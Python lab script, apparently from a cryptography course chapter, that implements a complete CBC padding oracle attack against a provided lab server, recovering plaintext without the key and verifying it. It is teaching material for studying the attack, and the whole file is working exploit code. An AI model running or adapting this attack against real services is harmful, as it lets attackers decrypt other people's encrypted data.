"""
Lab 4.1 - Padding Oracle Attacker
Chapter 4: Cryptography and Encryption: Foundations

Implements the byte-by-byte CBC padding oracle attack as described in
Vaudenay (2002). Recovers the full plaintext without the key.

Usage (inside the tools container on the lab network):
    python attacker.py

The oracle server must be reachable at http://padding-oracle:5000
(set by ORACLE_URL environment variable or the default below).

Theory recap (Section 4.5.3):
  In CBC: plaintext[i] = AES_decrypt(ciphertext[i]) XOR ciphertext[i-1]
  The attacker controls ciphertext[i-1] (the "IV" for block i).
  By manipulating ciphertext[i-1] one byte at a time and watching
  whether the oracle reports valid padding, the attacker recovers
  AES_decrypt(ciphertext[i]), then XORs with the real ciphertext[i-1]
  to get the true plaintext byte.
  Cost: roughly 128 oracle queries per byte on average.

SAFETY NOTE: Only run this against the provided lab oracle server.
"""

import os
import base64
import requests

ORACLE_URL = os.environ.get("ORACLE_URL", "http://padding-oracle:5000")
BLOCK_SIZE = 16


def oracle_check(iv: bytes, ciphertext: bytes) -> bool:
    """Returns True if the padding is valid, False otherwise."""
    resp = requests.post(
        f"{ORACLE_URL}/check_padding",
        json={
            "iv": base64.b64encode(iv).decode(),
            "ciphertext": base64.b64encode(ciphertext).decode(),
        },
        timeout=10,
    )
    resp.raise_for_status()
    return resp.json()["padding"] == "valid"


def decrypt_block(target_block: bytes, preceding_block: bytes) -> bytes:
    """
    Decrypt a single 16-byte ciphertext block using the padding oracle.
    Returns the 16 plaintext bytes.

    This is the core of the Vaudenay attack:
    For each byte position (right to left):
      1. Force the final N bytes to produce valid padding value N.
      2. Brute-force the current byte (0-255) until the oracle says valid.
      3. Recover intermediate state byte = guess XOR N.
      4. Recover plaintext byte = intermediate XOR real_preceding_byte.
    """
    # intermediate[i] = AES_block_decrypt(target_block)[i]
    intermediate = bytearray(BLOCK_SIZE)

    for byte_pos in range(BLOCK_SIZE - 1, -1, -1):
        padding_val = BLOCK_SIZE - byte_pos  # the PKCS7 byte value we want

        # Build a crafted preceding block that forces already-known bytes
        # at positions > byte_pos to produce the desired padding value.
        crafted = bytearray(BLOCK_SIZE)
        for k in range(byte_pos + 1, BLOCK_SIZE):
            crafted[k] = intermediate[k] ^ padding_val

        # Brute-force the current byte
        found = False
        for guess in range(256):
            crafted[byte_pos] = guess
            if oracle_check(bytes(crafted), target_block):
                # Confirm it is not a false positive caused by accidental
                # valid padding one byte earlier (only matters at byte_pos 15)
                if byte_pos == BLOCK_SIZE - 1:
                    # Flip the byte before to distinguish \x01 from a longer pad
                    confirm = bytearray(crafted)
                    confirm[byte_pos - 1] ^= 0x01
                    if not oracle_check(bytes(confirm), target_block):
                        continue  # false positive - keep searching
                intermediate[byte_pos] = guess ^ padding_val
                found = True
                break

        if not found:
            raise RuntimeError(
                f"Oracle did not respond as expected at byte {byte_pos}. "
                "Check that the server is reachable."
            )

    # Recover plaintext = intermediate XOR real preceding block
    plaintext = bytearray(BLOCK_SIZE)
    for i in range(BLOCK_SIZE):
        plaintext[i] = intermediate[i] ^ preceding_block[i]

    return bytes(plaintext)


def strip_pkcs7(data: bytes) -> bytes:
    """Remove PKCS7 padding from recovered plaintext."""
    if not data:
        return data
    pad_len = data[-1]
    if pad_len == 0 or pad_len > BLOCK_SIZE:
        return data
    if data[-pad_len:] == bytes([pad_len]) * pad_len:
        return data[:-pad_len]
    return data


def main():
    print(f"[attacker] Connecting to oracle at {ORACLE_URL} ...")
    resp = requests.get(f"{ORACLE_URL}/encrypt", timeout=10)
    resp.raise_for_status()
    data = resp.json()

    iv = base64.b64decode(data["iv"])
    ciphertext = base64.b64decode(data["ciphertext"])
    block_count = len(ciphertext) // BLOCK_SIZE

    print(f"[attacker] IV:         {iv.hex()}")
    print(f"[attacker] Ciphertext: {ciphertext.hex()}")
    print(f"[attacker] {block_count} block(s) to recover")
    print()

    # Build the list of (preceding_block, target_block) pairs.
    # The first block uses the IV as its preceding block.
    blocks = [iv] + [ciphertext[i * BLOCK_SIZE:(i + 1) * BLOCK_SIZE]
                     for i in range(block_count)]

    recovered = b""
    total_queries = 0

    for block_idx in range(1, len(blocks)):
        print(f"[attacker] Attacking block {block_idx}/{block_count} ...", flush=True)
        plaintext_block = decrypt_block(blocks[block_idx], blocks[block_idx - 1])
        recovered += plaintext_block
        # Rough query count: 128 per byte on average
        total_queries += BLOCK_SIZE * 128
        print(f"[attacker]   recovered (raw hex): {plaintext_block.hex()}")

    # Remove PKCS7 padding from the last block
    plaintext = strip_pkcs7(recovered)

    print()
    print("=" * 60)
    print(f"[attacker] RECOVERED PLAINTEXT: {plaintext}")
    print(f"[attacker] Approximate oracle queries used: ~{total_queries}")
    print("=" * 60)

    # Verify against the oracle
    verify_resp = requests.post(
        f"{ORACLE_URL}/verify",
        json={"plaintext": plaintext.decode(errors="replace")},
        timeout=10,
    )
    print(f"[attacker] Verification: {verify_resp.json()['result']}")


if __name__ == "__main__":
    main()
